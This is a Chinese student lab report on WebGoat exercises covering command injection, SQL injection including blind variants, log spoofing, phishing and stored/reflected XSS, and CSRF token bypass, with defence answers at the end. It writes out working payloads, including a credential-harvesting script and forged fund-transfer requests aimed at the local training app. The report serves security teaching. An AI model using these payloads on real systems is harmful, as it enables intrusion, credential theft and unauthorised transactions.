2018-2019-2 網絡對抗技術 20165230 Exp9 :Web安全基礎

實驗目的

理解經常使用網絡攻擊技術的基本原理。html

實驗內容

  • SQL注入攻擊
  • XSS攻擊
  • CSRF攻擊

Webgoat前期準備

  • GitHub上下載jar包
  • 拷貝到本地,並使用命令java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat,出現INFO: Starting ProtocolHandler ["http-bio-8080"]則開啓成功,能夠看到佔用8080端口,實驗過程當中不能關閉終端
    java

  • 打開瀏覽器輸入127.0.0.1:8080/WebGoat,使用默認名和密碼登陸
  • 在Webgoat中,solution是答案,hints是提示。打開界面,能夠看到有一連串的課程。
  • 每完成一項課程就會有一個小對勾linux

出現的問題

  • 打開webgoat時左側未出現課程
    git

  • 解決方法:從新下載javaversion,具體參考這個連接
    github

(一)SQL注入攻擊

選擇Injection Flaws開始實踐web

命令注入:Command Injection

命令注入攻擊是對任何參數驅動的站點的嚴重威脅。sql

  • 查看hints:使用系統命令獲取文件的內容
  • 也就是說這個操做是要向操做系統注入命令
  • ps -ef爲例,獲取進程信息
  • 咱們在頁面的源代碼中加入咱們的命令:在源代碼中找到"Backdoors.help",在其後加上"& ps -ef
    數據庫

  • 保存後下拉框中能夠看到咱們剛剛修改的選項,點擊view,能夠看到進程信息
    瀏覽器

數字型注入:Numeric SQL Injection

  • 能看到給出的界面中顯示了一條SQL語句SELECT * FROM weather_data WHERE station = ?,使用數字型SQL注入,能夠在網頁源代碼中的選項後面加上or 1=1,這樣就能夠得到全部地區的天氣信息了。
  • 還可用purpsutie抓包修改參數。
  • 打開purpsuite,點擊Proxy->Options->Add添加一個監聽端口,添加成功後運行
  • 點擊瀏覽器中的preferences->Advanced->Network->Connection->settings->Manual proxy configuration:設置成剛剛綁定的端口號。
  • 接着在以前的課程頁面上點擊GO,在purpsuite->Proxy->Intercept能夠看到捕獲的包
  • 右鍵選擇send to repeater,點擊Repeater->Params可看到station的值爲101,修改成「101 or 1=1」,點擊GO

  • 再點擊Intercept is on,這時可看到顯示全部地區天氣信息

日誌欺騙:Log Spoofing

  • 顧名思義,就是添加假的日誌信息來迷惑操做系統,目的是讓用戶名「admin」成功登陸。
  • 在User Name輸入zyl%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是換行
  • 點擊登陸出現兩行,一行提示zyl登陸失敗,另外一行提示admin登陸成功,這些信息就會被保存到日誌裏了。

字符串注入:String SQL Injection

下面的表格容許用戶查看他們的信用卡號碼。嘗試注入一個SQL字符串,致使顯示全部信用卡號。嘗試用戶名「史密斯」。

  • 和數字型同樣,咱們的目的是構建一個永真式,因爲字符串在數據庫中是由'構成的,咱們在last name中輸入Smith' OR '1'='1全部的用戶信息被輸出

實驗室stage1:String SQL Injection

  • 選擇inspect Element審查網頁元素對源代碼進行修改,將password密碼框的最大長度限制改成20
  • 目的是在不知道密碼的狀況下登陸帳戶Neville
  • 在密碼框中輸入Smith' or 1=1 --,攻擊成功可獲得全部人員列表

實驗室stage3:Numeric SQL Injection

  • 目的是用員工的帳戶登陸,瀏覽boss的帳戶
  • 首先用Larry的帳號登陸,使用' or 1=1 --做爲密碼
  • 點擊ViewProfile能夠查看用戶信息,那麼咱們要作的,就是點擊這個按鈕後跳轉到boss的信息。
  • 查看網頁源代碼,能夠看到索引的依據是員工ID,但是咱們不知道老闆的ID怎麼辦?數據庫中可使用排序來篩選信息,而老闆通常工資都是最高的,將id的value改爲101 or 1=1 order by salary desc --,點擊ViewProfile
  • 獲得老闆的帳戶信息,攻擊成功

數據庫後門:Database Backdoors

  • 根據提示,輸入id爲101
  • 咱們能夠看到插入查詢語句的字符串沒有通過任何處理,能夠輸入多條語句進行增、刪、改、查

  • 輸入注入語句101; update employee set Password=5230執行,能夠看見密碼框變爲了設置的密碼

數字型盲注入:Blind Numeric SQL Injection

  • 目的是知道pin在pins 表裏的值,先嚐試101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大於100,顯示數是合法的;再用500、1000、5000嘗試,發現pin應該是小於5000的
  • 不斷用二分法進行測試,發現pin爲2364

字符串盲注入:Blind String SQL Injection

  • 目的依舊是要知道pin的值,最大的不一樣是要查詢的字段是一個字符串而不是數值
  • 輸入101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );顯示出錯,判斷其是否比字 母「H」小
  • 把1換成2101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );,- - 通過屢次測試和頁面的返回數據,判斷出第一個字符爲「J」結果爲Jill

(二)XSS攻擊

選擇Cross-Site Scripting (XSS)開始實踐

網絡釣魚XSS:Phishing with XSS

使用XSS和HTML插入,您的目標是:
將html插入該請求憑據,添加javascript以實際收集憑據,將憑據發送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要經過本課程,憑證必須發佈到捕獲者servlet。

  • 根據要求,咱們編寫代碼,設計一個簡單的登陸界面獲取用戶名和密碼併發送到指定地方

    <script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 點擊搜索,看到下面有個登陸界面,登陸提示

存儲型XSS攻擊:Stored XSS Attacks

  • 這種攻擊常見於論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。由於是留言,因此任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行
  • 根據題目要求,在留言板中輸入<script>alert("You've been attacked!!!");</script>
  • 點擊剛剛建立的帖子,彈出窗口

反射型XSS攻擊:Reflected XSS Attacks

發出請求時,XSS代碼出如今URL中,做爲輸入提交到服務器端,服務器端解析後響應,XSS隨響應內容一塊兒返回給瀏覽器,最後瀏覽器解析執行XSS代碼

  • 就像上一個實驗直接在輸入框中輸入代碼同樣,反射型XSS是不持久的,在提交到後臺的過程當中輸入的JavaScript腳本就會被執行
  • 一樣輸入彈窗代碼<script>alert("20165230 attack!!!");</script>,點擊purse的同時頁面就給出了反饋

(三)CSRF攻擊

跨站腳本攻擊:Cross Site Request Forgery

您的目標是向新聞組發送電子郵件。 該電子郵件包含一個圖像,其URL指向惡意請求。 在本課中,URL應該指向「攻擊」servlet,其中包含課程的「屏幕」和「菜單」參數,以及具備任意數值的額外參數「transferFunds」(如5000)。您能夠經過查找「屏幕」來構建連接 「和」菜單「值在右側的參數插入。 當時經過身份認證的CSRF電子郵件的接收者將轉移資金。

  • 也就是說,要發送一個有惡意圖片的電子郵件,目的是要轉走用戶的錢。
  • 在消息框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />,成功看到左邊多了一個小綠√

XSS提高:CSRF Prompt By-Pass

  • 和上一個實驗差很少,多了一個確認轉帳的任務
  • 輸入代碼
    <img src="attack?Screen=279&menu=900&transferFunds=5000"> <img src="attack?Screen=279&menu=900&transferFunds=confirm" >
  • 查看消息,看到轉帳消息:

CSRF令牌攻擊:CSRF Token By-Pass

相似於CSRF課程,您的目標是向包含惡意請求轉移資金的新聞組發送電子郵件。 要成功完成,您須要獲取有效的請求令牌。 提供轉帳資金錶單的頁面包含一個有效的請求令牌。 轉移資金頁面的URL是本課程的「屏幕」和「菜單」查詢參數以及額外的參數「transferFunds = main」的「攻擊」servlet。 加載此頁面,讀取令牌,並在僞造的請求中附加令牌以傳輸數據。 當您認爲攻擊成功時,刷新頁面,您將在左側菜單中找到綠色檢查。

  • 在前面實驗的基礎上,使用令牌傳輸數據
  • 輸入代碼
    <script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" ></iframe> <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
  • 按以前的步驟操做

實驗問題回答

  • SQL注入攻擊原理,如何防護
    • 程序對用戶輸入數據的合法性沒有判斷就直接插入查詢語句,攻擊者就能夠添加額外的SQL語句或使用註釋字符獲得額外的信息
      • 對輸入的字符串進行處理,篩除特殊字符
      • 普通用戶與系統管理員用戶的權限要有嚴格的區分
  • XSS攻擊的原理,如何防護
    • 用戶在輸入框輸入JavaScript代碼,提交的時候直接執行,有辦法得到網站的cookie
      • 表單提交的時候進行特殊字符的檢測
      • 對輸入框作長度限制
      • 在後臺對數據進行過濾
  • CSRF攻擊原理,如何防護
    • CSRF是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。通常存在XSS漏洞的網站,也極有可能存在CSRF漏洞。
      • 使用token:每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定位CSRF攻擊。
      • 將提交方法改成post
      • 按期清理cookie
      • 使用隨機數對錶單中的值進行驗證

實驗總結

這是最後一個實驗了,作完特別有成就感。此次實驗經過使用webgoat作了一系列的sql,CSRF和xss攻擊,使我對這幾種攻擊方式有了更清楚的區分和理解,也經過實例讓咱們在平時生活中能更注意一下容易被攻擊的細節,讓我對咱們這些菜雞編出來的代碼極度的否認態度,沒有找不出來的漏洞,因此在信息安全這條道路上好好的體會琢磨吧,道阻且艱!

相關文章
相關標籤/搜索